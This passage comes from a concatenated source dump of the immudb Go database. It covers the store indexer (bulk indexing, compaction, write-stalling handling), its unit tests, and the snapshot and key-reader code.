WithMaxKeySize(opts.MaxKeyLen). WithMaxValueSize(lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen). // indexed values WithNodesLogMaxOpenedFiles(opts.IndexOpts.NodesLogMaxOpenedFiles). WithHistoryLogMaxOpenedFiles(opts.IndexOpts.HistoryLogMaxOpenedFiles). WithCommitLogMaxOpenedFiles(opts.IndexOpts.CommitLogMaxOpenedFiles). WithRenewSnapRootAfter(opts.IndexOpts.RenewSnapRootAfter). WithCompactionThld(opts.IndexOpts.CompactionThld). WithDelayDuringCompaction(opts.IndexOpts.DelayDuringCompaction). WithMaxBufferedDataSize(opts.IndexOpts.MaxBufferedDataSize). WithOnFlushFunc(func(releasedDataSize int) { store.memSemaphore.Release(uint64(releasedDataSize)) }) if opts.appFactory != nil { indexOpts.WithAppFactory(tbtree.AppFactoryFunc(opts.appFactory)) } if opts.appRemove != nil { indexOpts.WithAppRemoveFunc(tbtree.AppRemoveFunc(opts.appRemove)) } index, err := tbtree.Open(path, indexOpts) if err != nil { return nil, err } var wHub *watchers.WatchersHub if opts.MaxWaitees > 0 { wHub = watchers.New(0, opts.MaxWaitees) } tx := NewTx(opts.MaxTxEntries, opts.MaxKeyLen) kvs := make([]*tbtree.KVT, store.maxTxEntries*opts.IndexOpts.MaxBulkSize) for i := range kvs { // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd elen := lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen kvs[i] = &tbtree.KVT{K: make([]byte, store.maxKeyLen), V: make([]byte, elen)} } indexer := &indexer{ store: store, tx: tx, maxBulkSize: opts.IndexOpts.MaxBulkSize, bulkPreparationTimeout: opts.IndexOpts.BulkPreparationTimeout, _kvs: kvs, path: path, index: index, wHub: wHub, state: stopped, stateCond: sync.NewCond(&sync.Mutex{}), } dbName := filepath.Base(store.path) idxName := filepath.Base(path) indexer.metricsLastIndexedTrx = metricsLastIndexedTrxId.WithLabelValues(dbName, idxName) indexer.metricsLastCommittedTrx = metricsLastCommittedTrx.WithLabelValues(dbName, idxName) return indexer, nil } func (idx *indexer) init(spec *IndexSpec) { idx.rwmutex.Lock() defer idx.rwmutex.Unlock() idx.spec = spec idx.resume() } func (idx *indexer) SourcePrefix() []byte { return idx.spec.SourcePrefix } func (idx *indexer) TargetPrefix() []byte { return idx.spec.TargetPrefix } func (idx *indexer) Ts() uint64 { idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() return idx.index.Ts() } func (idx *indexer) SyncSnapshot() (*tbtree.Snapshot, error) { idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() return idx.index.SyncSnapshot() } func (idx *indexer) Get(key []byte) (value []byte, tx uint64, hc uint64, err error) { idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() if idx.closed { return nil, 0, 0, ErrAlreadyClosed } return idx.index.Get(key) } func (idx *indexer) GetBetween(key []byte, initialTxID uint64, finalTxID uint64) (value []byte, tx uint64, hc uint64, err error) { idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() if idx.closed { return nil, 0, 0, ErrAlreadyClosed } return idx.index.GetBetween(key, initialTxID, finalTxID) } func (idx *indexer) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []tbtree.TimedValue, hCount uint64, err error) { idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() if idx.closed { return nil, 0, ErrAlreadyClosed } return idx.index.History(key, offset, descOrder, limit) } func (idx *indexer) Snapshot() (*tbtree.Snapshot, error) { idx.compactionMutex.Lock() defer idx.compactionMutex.Unlock() idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() if idx.closed { return nil, ErrAlreadyClosed } return idx.index.Snapshot() } func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, txID uint64, renewalPeriod time.Duration) (*tbtree.Snapshot, error) { idx.compactionMutex.Lock() defer idx.compactionMutex.Unlock() idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() if idx.closed { return nil, ErrAlreadyClosed } return idx.index.SnapshotMustIncludeTsWithRenewalPeriod(txID, renewalPeriod) } func (idx *indexer) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, tx uint64, hc uint64, err error) { idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() if idx.closed { return nil, nil, 0, 0, ErrAlreadyClosed } return idx.index.GetWithPrefix(prefix, neq) } func (idx *indexer) Sync() error { idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() if idx.closed { return ErrAlreadyClosed } return idx.index.Sync() } func (idx *indexer) Close() error { idx.compactionMutex.Lock() defer idx.compactionMutex.Unlock() idx.rwmutex.RLock() defer idx.rwmutex.RUnlock() if idx.closed { return ErrAlreadyClosed } idx.stop() idx.wHub.Close() idx.closed = true return idx.index.Close() } func (idx *indexer) WaitForIndexingUpto(ctx context.Context, txID uint64) error { if idx.wHub != nil { err := idx.wHub.WaitFor(ctx, txID) if errors.Is(err, watchers.ErrAlreadyClosed) { return ErrAlreadyClosed } return err } return watchers.ErrMaxWaitessLimitExceeded } func (idx *indexer) CompactIndex() (err error) { idx.compactionMutex.Lock() defer idx.compactionMutex.Unlock() idx.store.logger.Infof("compacting index '%s'...", idx.store.path) defer func() { if err == nil { idx.store.logger.Infof("index '%s' sucessfully compacted", idx.store.path) } else if errors.Is(err, tbtree.ErrCompactionThresholdNotReached) { idx.store.logger.Infof("compaction of index '%s' not needed: %v", idx.store.path, err) } else { idx.store.logger.Warningf("%v: while compacting index '%s'", err, idx.store.path) } }() _, err = idx.index.Compact() if errors.Is(err, tbtree.ErrAlreadyClosed) { return ErrAlreadyClosed } if err != nil { return err } return idx.restartIndex() } func (idx *indexer) FlushIndex(cleanupPercentage float32, synced bool) (err error) { idx.compactionMutex.Lock() defer idx.compactionMutex.Unlock() _, _, err = idx.index.FlushWith(cleanupPercentage, synced) if errors.Is(err, tbtree.ErrAlreadyClosed) { return ErrAlreadyClosed } if err != nil { return err } return nil } func (idx *indexer) stop() { idx.stateCond.L.Lock() idx.state = stopped idx.cancelFunc() idx.stateCond.L.Unlock() idx.stateCond.Signal() idx.store.notify(Info, true, "indexing gracefully stopped at '%s'", idx.store.path) } func (idx *indexer) resume() { idx.stateCond.L.Lock() idx.state = running idx.ctx, idx.cancelFunc = context.WithCancel(context.Background()) go idx.doIndexing() idx.stateCond.L.Unlock() idx.store.notify(Info, true, "indexing in progress at '%s'", idx.store.path) } func (idx *indexer) restartIndex() error { idx.rwmutex.Lock() defer idx.rwmutex.Unlock() if idx.closed { return ErrAlreadyClosed } idx.stop() defer idx.resume() opts := idx.index.GetOptions() err := idx.index.Close() if err != nil { return err } index, err := tbtree.Open(idx.path, opts) if err != nil { return err } idx.index = index return err } func (idx *indexer) Resume() { idx.stateCond.L.Lock() idx.state = running idx.stateCond.L.Unlock() idx.stateCond.Signal() } func (idx *indexer) Pause() { idx.stateCond.L.Lock() idx.state = paused idx.stateCond.L.Unlock() } func (idx *indexer) doIndexing() { committedTxID := idx.store.LastCommittedTxID() idx.metricsLastCommittedTrx.Set(float64(committedTxID)) for { lastIndexedTx := idx.index.Ts() idx.metricsLastIndexedTrx.Set(float64(lastIndexedTx)) if idx.wHub != nil { idx.wHub.DoneUpto(lastIndexedTx) } err := idx.store.commitWHub.WaitFor(idx.ctx, lastIndexedTx+1) if idx.ctx.Err() != nil || errors.Is(err, watchers.ErrAlreadyClosed) { return } if err != nil { idx.store.logger.Errorf("indexing failed at '%s' due to error: %v", idx.store.path, err) time.Sleep(60 * time.Second) } committedTxID := idx.store.LastCommittedTxID() idx.metricsLastCommittedTrx.Set(float64(committedTxID)) txsToIndex := committedTxID - lastIndexedTx idx.store.notify(Info, false, "%d transaction/s to be indexed at '%s'", txsToIndex, idx.store.path) idx.stateCond.L.Lock() for { if idx.state == stopped { idx.stateCond.L.Unlock() return } if idx.state == running { break } idx.stateCond.Wait() } idx.stateCond.L.Unlock() err = idx.indexSince(lastIndexedTx + 1) if errors.Is(err, ErrAlreadyClosed) || errors.Is(err, tbtree.ErrAlreadyClosed) { return } if err != nil && !errors.Is(err, ErrWriteStalling) { idx.store.logger.Errorf("indexing failed at '%s' due to error: %v", idx.store.path, err) time.Sleep(60 * time.Second) } if err := idx.handleWriteStalling(err); err != nil { idx.store.logger.Errorf("indexing failed at '%s' due to error: %v", idx.store.path, err) time.Sleep(60 * time.Second) } } } func (idx *indexer) handleWriteStalling(err error) error { if !errors.Is(err, ErrWriteStalling) { return nil } if err := idx.store.FlushIndexes(0, false); err != nil { return err } // NOSONAR (rand is fine here) sleepTime := writeStallingSleepDurationMin + time.Duration(rand.Intn(int(writeStallingSleepDurationMax-writeStallingSleepDurationMin+1))) time.Sleep(sleepTime) return nil } func serializeIndexableEntry(b []byte, txmd []byte, e *TxEntry, kvmd []byte) int { n := 0 txmdLen := len(txmd) binary.BigEndian.PutUint32(b[n:], uint32(e.vLen)) n += lszSize binary.BigEndian.PutUint64(b[n:], uint64(e.vOff)) n += offsetSize copy(b[n:], e.hVal[:]) n += sha256.Size binary.BigEndian.PutUint16(b[n:], uint16(txmdLen)) n += sszSize copy(b[n:], txmd) n += txmdLen kvmdLen := len(kvmd) binary.BigEndian.PutUint16(b[n:], uint16(kvmdLen)) n += sszSize copy(b[n:], kvmd) n += kvmdLen return n } func (idx *indexer) mapKey(key []byte, vLen int, vOff int64, hVal [sha256.Size]byte, mapper EntryMapper) (mappedKey []byte, err error) { if mapper == nil { return key, nil } buf := idx.valBuffer(vLen) _, err = idx.store.readValueAt(buf, vOff, hVal, false) if err != nil { return nil, err } return mapper(key, buf) } func (idx *indexer) valBuffer(vLen int) []byte { if vLen > len(idx._val) { return make([]byte, vLen) } return idx._val[:vLen] } func (idx *indexer) indexSince(txID uint64) error { ctx, cancel := context.WithTimeout(context.Background(), idx.bulkPreparationTimeout) defer cancel() acquiredMem := 0 bulkSize := 0 indexableEntries := 0 for i := 0; i < idx.maxBulkSize; i++ { err := idx.store.readTx(txID+uint64(i), false, false, idx.tx) if err != nil { return err } txIndexedEntries := 0 txEntries := idx.tx.Entries() var txmd []byte if idx.tx.header.Metadata != nil { txmd = idx.tx.header.Metadata.Bytes() } for _, e := range txEntries { if e.md != nil && e.md.NonIndexable() { continue } if !hasPrefix(e.key(), idx.spec.SourcePrefix) { continue } sourceKey, err := idx.mapKey(e.key(), e.vLen, e.vOff, e.hVal, idx.spec.SourceEntryMapper) if err != nil { return err } targetKey, err := idx.mapKey(sourceKey, e.vLen, e.vOff, e.hVal, idx.spec.TargetEntryMapper) if err != nil { return err } if !hasPrefix(targetKey, idx.spec.TargetPrefix) { return fmt.Errorf("%w: the target entry mapper has not generated a key with the specified target prefix", ErrIllegalArguments) } // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmds var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte var kvmd []byte if e.Metadata() != nil { kvmd = e.Metadata().Bytes() } n := serializeIndexableEntry(b[:], txmd, e, kvmd) idx._kvs[indexableEntries].K = targetKey idx._kvs[indexableEntries].V = b[:n] idx._kvs[indexableEntries].T = txID + uint64(i) indexableEntries++ txIndexedEntries++ if idx.spec.InjectiveMapping && txID > 1 { // wait for source indexer to be up to date sourceIndexer, err := idx.store.getIndexerFor(sourceKey) if errors.Is(err, ErrIndexNotFound) { continue } else if err != nil { return err } err = sourceIndexer.WaitForIndexingUpto(context.Background(), txID-1) if err != nil { return err } // the previous entry as of txID must be deleted from the target index _, prevTxID, _, err := sourceIndexer.index.GetBetween(sourceKey, 1, txID-1) if err == nil { prevEntry, prevTxHdr, err := idx.store.ReadTxEntry(prevTxID, e.key(), false) if err != nil { return err } targetPrevKey, err := idx.mapKey(sourceKey, prevEntry.vLen, prevEntry.vOff, prevEntry.hVal, idx.spec.TargetEntryMapper) if err != nil { return err } if bytes.Equal(targetKey, targetPrevKey) { continue } if !hasPrefix(targetPrevKey, idx.spec.TargetPrefix) { return fmt.Errorf("%w: the target entry mapper has not generated a key with the specified target prefix", ErrIllegalArguments) } var txmd []byte if prevTxHdr.Metadata != nil { txmd = prevTxHdr.Metadata.Bytes() } var kvmd *KVMetadata if prevEntry.Metadata() != nil { kvmd = prevEntry.Metadata() } else { kvmd = NewKVMetadata() } kvmd.AsDeleted(true) if err != nil { return err } var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte n := serializeIndexableEntry(b[:], txmd, prevEntry, kvmd.Bytes()) idx._kvs[indexableEntries].K = targetPrevKey idx._kvs[indexableEntries].V = b[:n] idx._kvs[indexableEntries].T = txID + uint64(i) indexableEntries++ txIndexedEntries++ } else if !errors.Is(err, ErrKeyNotFound) { return err } } } if indexableEntries > 0 && txIndexedEntries > 0 { size := estimateEntriesSize(idx._kvs[indexableEntries-txIndexedEntries : indexableEntries]) if !idx.store.memSemaphore.Acquire(uint64(size)) { if acquiredMem == 0 { return ErrWriteStalling } break } acquiredMem += size } bulkSize++ if bulkSize < idx.maxBulkSize { // wait for the next tx to be committed err = idx.store.commitWHub.WaitFor(ctx, txID+uint64(i+1)) } if ctx.Err() != nil { break } if err != nil { return err } } var err error if indexableEntries == 0 { // if there are no entries to be indexed, the logical time in the tree // is still moved forward to indicate up to what point has transaction // indexing been completed err = idx.index.IncreaseTs(txID + uint64(bulkSize-1)) } else { err = idx.index.BulkInsert(idx._kvs[:indexableEntries]) } if err != nil { return err } idx.metricsLastIndexedTrx.Set(float64(txID + uint64(bulkSize-1))) return nil } func estimateEntriesSize(kvs []*tbtree.KVT) int { size := 0 for _, kv := range kvs { size += len(kv.K) + len(kv.V) + 8 } return size } ================================================ FILE: embedded/store/indexer_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "context" "io/ioutil" "os" "path/filepath" "testing" "time" "github.com/codenotary/immudb/embedded/watchers" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestNewIndexerFailure(t *testing.T) { indexer, err := newIndexer(t.TempDir(), nil, nil) require.Nil(t, indexer) require.ErrorIs(t, err, ErrIllegalArguments) } func TestNewIndexer(t *testing.T) { stor := ImmuStore{} indexer, err := newIndexer(t.TempDir(), &stor, DefaultOptions()) require.Nil(t, err) require.NotNil(t, indexer) } func TestClosedIndexerFailures(t *testing.T) { store, err := Open(t.TempDir(), DefaultOptions().WithIndexOptions( DefaultIndexOptions().WithCompactionThld(1), )) require.NoError(t, err) indexer, err := store.getIndexerFor(nil) require.NoError(t, err) err = indexer.Close() require.NoError(t, err) v, tx, hc, err := indexer.Get(nil) require.Zero(t, v) require.Zero(t, tx) require.Zero(t, hc) require.ErrorIs(t, err, ErrAlreadyClosed) txs, hCount, err := indexer.History(nil, 0, false, 0) require.Zero(t, txs) require.Zero(t, hCount) require.ErrorIs(t, err, ErrAlreadyClosed) snap, err := indexer.Snapshot() require.Zero(t, snap) require.ErrorIs(t, err, ErrAlreadyClosed) snap, err = indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(context.Background(), 0, 0) require.Zero(t, snap) require.ErrorIs(t, err, ErrAlreadyClosed) _, _, _, _, err = indexer.GetWithPrefix(nil, nil) require.ErrorIs(t, err, ErrAlreadyClosed) err = indexer.Sync() require.ErrorIs(t, err, ErrAlreadyClosed) err = indexer.Close() require.ErrorIs(t, err, ErrAlreadyClosed) err = indexer.CompactIndex() require.ErrorIs(t, err, ErrAlreadyClosed) } func TestMaxIndexWaitees(t *testing.T) { store, err := Open(t.TempDir(), DefaultOptions().WithMaxWaitees(1).WithMaxActiveTransactions(1)) require.NoError(t, err) // Grab errors from waiters errCh := make(chan error) for i := 0; i < 2; i++ { go func() { errCh <- store.WaitForIndexingUpto(context.Background(), 1) }() } // One goroutine should fail select { case err := <-errCh: require.ErrorIs(t, err, watchers.ErrMaxWaitessLimitExceeded) case <-time.After(time.Second): require.Fail(t, "Did not get waiter error") } // Store one transaction tx, err := store.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte{1}, nil, []byte{2}) require.NoError(t, err) hdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, hdr.ID) // Other goroutine should succeed select { case err := <-errCh: require.NoError(t, err) case <-time.After(time.Second): require.Fail(t, "Did not get successful wait confirmation") } } func TestRestartIndexCornerCases(t *testing.T) { for _, c := range []struct { name string fn func(t *testing.T, dir string, s *ImmuStore) }{ { "Closed store", func(t *testing.T, dir string, s *ImmuStore) { s.Close() indexer, err := s.getIndexerFor(nil) require.NoError(t, err) err = indexer.restartIndex() require.ErrorIs(t, err, ErrAlreadyClosed) }, }, { "No nodes folder", func(t *testing.T, dir string, s *ImmuStore) { require.NoError(t, os.MkdirAll(filepath.Join(dir, "index/commit1"), 0777)) indexer, err := s.getIndexerFor(nil) require.NoError(t, err) err = indexer.restartIndex() require.NoError(t, err) }, }, { "No commit folder", func(t *testing.T, dir string, s *ImmuStore) { require.NoError(t, os.MkdirAll(filepath.Join(dir, "index/nodes1"), 0777)) indexer, err := s.getIndexerFor(nil) require.NoError(t, err) err = indexer.restartIndex() require.NoError(t, err) }, }, { "Invalid index structure", func(t *testing.T, dir string, s *ImmuStore) { require.NoError(t, os.MkdirAll(filepath.Join(dir, "index/nodes1"), 0777)) require.NoError(t, ioutil.WriteFile(filepath.Join(dir, "index/commit1"), []byte{}, 0777)) indexer, err := s.getIndexerFor(nil) require.NoError(t, err) err = indexer.restartIndex() require.NoError(t, err) }, }, } { t.Run(c.name, func(t *testing.T) { d := t.TempDir() store, err := Open(d, DefaultOptions()) require.NoError(t, err) defer store.Close() c.fn(t, d, store) }) } } func TestClosedIndexer(t *testing.T) { i := indexer{closed: true} var err error dummy := []byte("dummy") _, _, _, err = i.Get(dummy) assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) _, _, err = i.History(dummy, 0, false, 0) assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) _, err = i.Snapshot() assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) _, err = i.SnapshotMustIncludeTxIDWithRenewalPeriod(context.Background(), 0, 0) assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) _, _, _, err = i.GetBetween(dummy, 1, 2) assert.ErrorIs(t, err, ErrAlreadyClosed) _, _, _, _, err = i.GetWithPrefix(dummy, dummy) assert.ErrorIs(t, err, ErrAlreadyClosed) err = i.Sync() assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) err = i.Close() assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) } func TestIndexFlushShouldReleaseMemory(t *testing.T) { d := t.TempDir() store, err := Open(d, DefaultOptions()) require.NoError(t, err) defer store.Close() key := make([]byte, 100) value := make([]byte, 100) n := 100 for i := 0; i < n; i++ { tx, err := store.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) } idx, err := store.getIndexerFor([]byte{}) require.NoError(t, err) require.NotNil(t, idx) require.Greater(t, store.memSemaphore.Value(), uint64(0)) _, _, err = idx.index.Flush() require.NoError(t, err) require.Zero(t, store.memSemaphore.Value()) } func TestIndexerWriteStalling(t *testing.T) { d := t.TempDir() store, err := Open(d, DefaultOptions().WithMultiIndexing(true).WithIndexOptions(DefaultIndexOptions().WithMaxBufferedDataSize(1024).WithMaxGlobalBufferedDataSize(1024))) require.NoError(t, err) defer store.Close() nIndexes := 30 for i := 0; i < nIndexes; i++ { err = store.InitIndexing(&IndexSpec{ TargetPrefix: []byte{byte(i)}, TargetEntryMapper: func(x int) func(key []byte, value []byte) ([]byte, error) { return func(key, value []byte) ([]byte, error) { return append([]byte{byte(x)}, key...), nil } }(i), }) require.NoError(t, err) } key := make([]byte, 100) value := make([]byte, 100) n := 100 for i := 0; i < n; i++ { tx, err := store.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) } for i := 0; i < nIndexes; i++ { idx, err := store.getIndexerFor([]byte{byte(i)}) require.NoError(t, err) require.Equal(t, idx.Ts(), uint64(n)) } } ================================================ FILE: embedded/store/key_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "context" "crypto/sha256" "encoding/binary" "fmt" "time" "github.com/codenotary/immudb/embedded/tbtree" ) type Snapshot struct { st *ImmuStore prefix []byte snap *tbtree.Snapshot ts time.Time refInterceptor valueRefInterceptor } type valueRefInterceptor func(key []byte, valRef ValueRef) ValueRef // filter out entries when filter evaluates to a non-nil error type FilterFn func(valRef ValueRef, t time.Time) error var ( IgnoreDeleted FilterFn = func(valRef ValueRef, t time.Time) error { md := valRef.KVMetadata() if md != nil && md.Deleted() { return ErrKeyNotFound } return nil } IgnoreExpired FilterFn = func(valRef ValueRef, t time.Time) error { md := valRef.KVMetadata() if md != nil && md.ExpiredAt(t) { return ErrExpiredEntry } return nil } ) type KeyReader interface { Read(ctx context.Context) (key []byte, val ValueRef, err error) ReadBetween(ctx context.Context, initialTxID uint64, finalTxID uint64) (key []byte, val ValueRef, err error) Reset() error Close() error } type KeyReaderSpec struct { SeekKey []byte EndKey []byte Prefix []byte InclusiveSeek bool InclusiveEnd bool IncludeHistory bool DescOrder bool Filters []FilterFn Offset uint64 } func (s *Snapshot) set(key, value []byte) error { return s.snap.Set(key, value) } func (s *Snapshot) Get(ctx context.Context, key []byte) (valRef ValueRef, err error) { return s.GetWithFilters(ctx, key, IgnoreExpired, IgnoreDeleted) } func (s *Snapshot) GetBetween(ctx context.Context, key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) { indexedVal, tx, hc, err := s.snap.GetBetween(key, initialTxID, finalTxID) if err != nil { return nil, err } valRef, err = s.st.valueRefFrom(tx, hc, indexedVal) if err != nil { return nil, err } if s.refInterceptor != nil { return s.refInterceptor(key, valRef), nil } return valRef, nil } func (s *Snapshot) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (valRef ValueRef, err error) { indexedVal, tx, hc, err := s.snap.Get(key) if err != nil { return nil, err } valRef, err = s.st.valueRefFrom(tx, hc, indexedVal) if err != nil { return nil, err } for _, filter := range filters { if filter == nil { return nil, fmt.Errorf("%w: invalid filter function", ErrIllegalArguments) } err = filter(valRef, s.ts) if err != nil { return nil, err } } if s.refInterceptor != nil { return s.refInterceptor(key, valRef), nil } return valRef, nil } func (s *Snapshot) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { return s.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreExpired, IgnoreDeleted) } func (s *Snapshot) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { key, indexedVal, tx, hc, err := s.snap.GetWithPrefix(prefix, neq) if err != nil { return nil, nil, err } valRef, err = s.st.valueRefFrom(tx, hc, indexedVal) if err != nil { return nil, nil, err } for _, filter := range filters { if filter == nil { return nil, nil, fmt.Errorf("%w: invalid filter function", ErrIllegalArguments) } err = filter(valRef, s.ts) if err != nil { return nil, nil, err } } if s.refInterceptor != nil { return key, s.refInterceptor(key, valRef), nil } return key, valRef, nil } func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (valRefs []ValueRef, hCount uint64, err error) { timedValues, hCount, err := s.snap.History(key, offset, descOrder, limit) if err != nil { return nil, 0, err } valRefs = make([]ValueRef, len(timedValues)) for i, timedValue := range timedValues { valRef, err := s.st.valueRefFrom(timedValue.Ts, hCount-uint64(i), timedValue.Value) if err != nil { return nil, 0, err } if s.refInterceptor != nil { valRef = s.refInterceptor(key, valRef) } valRefs[i] = valRef } return valRefs, hCount, nil } func (s *Snapshot) Ts() uint64 { return s.snap.Ts() } func (s *Snapshot) Close() error { return s.snap.Close() } func (s *Snapshot) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { r, err := s.snap.NewReader(tbtree.ReaderSpec{ SeekKey: spec.SeekKey, EndKey: spec.EndKey, Prefix: spec.Prefix, InclusiveSeek: spec.InclusiveSeek, InclusiveEnd: spec.InclusiveEnd, IncludeHistory: spec.IncludeHistory, DescOrder: spec.DescOrder, }) if err != nil { return nil, err } var refInterceptor valueRefInterceptor if s.refInterceptor == nil { refInterceptor = func(key []byte, valRef ValueRef) ValueRef { return valRef } } else { refInterceptor = s.refInterceptor } for _, filter := range spec.Filters { if filter == nil { return nil, fmt.Errorf("%w: invalid filter function", ErrIllegalArguments) } } return &storeKeyReader{ snap: s, reader: r, filters: spec.Filters, includeHistory: spec.IncludeHistory, refInterceptor: refInterceptor, offset: spec.Offset, }, nil } type ValueRef interface { Resolve() (val []byte, err error) Tx() uint64 HC() uint64 TxMetadata() *TxMetadata KVMetadata() *KVMetadata HVal() [sha256.Size]byte Len() uint32 VOff() int64 } type valueRef struct { tx uint64 hc uint64 // version hVal [sha256.Size]byte vOff int64 valLen uint32 txmd *TxMetadata kvmd *KVMetadata st *ImmuStore } func (st *ImmuStore) valueRefFrom(tx, hc uint64, indexedVal []byte) (ValueRef, error) { // vLen + vOff + vHash const valrLen = lszSize + offsetSize + sha256.Size if len(indexedVal) < valrLen { return nil, ErrCorruptedIndex } i := 0 valLen := binary.BigEndian.Uint32(indexedVal[i:]) i += lszSize vOff := int64(binary.BigEndian.Uint64(indexedVal[i:])) i += offsetSize var hVal [sha256.Size]byte copy(hVal[:], indexedVal[i:]) i += sha256.Size var txmd *TxMetadata var kvmd *KVMetadata if len(indexedVal) > i { // index created with metadata fields // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd if len(indexedVal) < i+2*sszSize { return nil, ErrCorruptedIndex } txmdLen := int(binary.BigEndian.Uint16(indexedVal[i:])) i += sszSize if txmdLen > maxTxMetadataLen || len(indexedVal) < i+txmdLen+sszSize { return nil, ErrCorruptedIndex } if txmdLen > 0 { txmd = NewTxMetadata() err := txmd.ReadFrom(indexedVal[i : i+txmdLen]) if err != nil { return nil, err } i += txmdLen } kvmdLen := int(binary.BigEndian.Uint16(indexedVal[i:])) i += sszSize if kvmdLen > maxKVMetadataLen || len(indexedVal) < i+kvmdLen { return nil, ErrCorruptedIndex } if kvmdLen > 0 { kvmd = newReadOnlyKVMetadata() err := kvmd.unsafeReadFrom(indexedVal[i : i+kvmdLen]) if err != nil { return nil, err } i += kvmdLen } } if len(indexedVal) > i { return nil, ErrCorruptedIndex } return &valueRef{ tx: tx, hc: hc, hVal: hVal, vOff: vOff, valLen: valLen, txmd: txmd, kvmd: kvmd, st: st, }, nil } // Resolve ... func (v *valueRef) Resolve() (val []byte, err error) { refVal := make([]byte, v.valLen) if v.kvmd != nil && v.kvmd.ExpiredAt(time.Now()) { return nil, ErrExpiredEntry } if v.valLen == 0 { // while not required, nil is returned instead of an empty slice // TODO: this step should be done after reading the value to ensure proper validations are made // But current changes in ExportTx with truncated transactions are not providing the value length // for truncated transactions return nil, nil } _, err = v.st.readValueAt(refVal, v.vOff, v.hVal, false) if err != nil { return nil, err } return refVal, nil } func (v *valueRef) Tx() uint64 { return v.tx } func (v *valueRef) HC() uint64 { return v.hc } func (v *valueRef) TxMetadata() *TxMetadata { return v.txmd } func (v *valueRef) KVMetadata() *KVMetadata { return v.kvmd } func (v *valueRef) HVal() [sha256.Size]byte { return v.hVal } func (v *valueRef) Len() uint32 { return v.valLen } func (v *valueRef) VOff() int64 { return v.vOff } type storeKeyReader struct { snap *Snapshot reader *tbtree.Reader filters []FilterFn includeHistory bool refInterceptor valueRefInterceptor offset uint64 skipped uint64 } func (r *storeKeyReader) ReadBetween(ctx context.Context, initialTxID, finalTxID uint64) (key []byte, val ValueRef, err error) { for { key, indexedVal, tx, hc, err := r.reader.ReadBetween(initialTxID, finalTxID) if err != nil { return nil, nil, err } val, err = r.snap.st.valueRefFrom(tx, hc, indexedVal) if err != nil { return nil, nil, err } valRef := r.refInterceptor(key, val) filterEntry := false if !r.includeHistory { for _, filter := range r.filters { err = filter(valRef, r.snap.ts) if err != nil { filterEntry = true break } } } if filterEntry { continue } if r.skipped < r.offset { r.skipped++ continue } return key, valRef, nil } } func (r *storeKeyReader) Read(ctx context.Context) (key []byte, val ValueRef, err error) { for { key, indexedVal, tx, hc, err := r.reader.Read() if err != nil { return nil, nil, err } val, err = r.snap.st.valueRefFrom(tx, hc, indexedVal) if err != nil { return nil, nil, err } valRef := r.refInterceptor(key, val) filterEntry := false if !r.includeHistory { for _, filter := range r.filters { err = filter(valRef, r.snap.ts) if err != nil { filterEntry = true break } } } if filterEntry { continue } if r.skipped < r.offset { r.skipped++ continue } return key, valRef, nil } } func (r *storeKeyReader) Reset() error { err := r.reader.Reset() if err != nil { return err } r.skipped = 0 return nil } func (r *storeKeyReader) Close() error { return r.reader.Close() } ================================================ FILE: embedded/store/key_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file 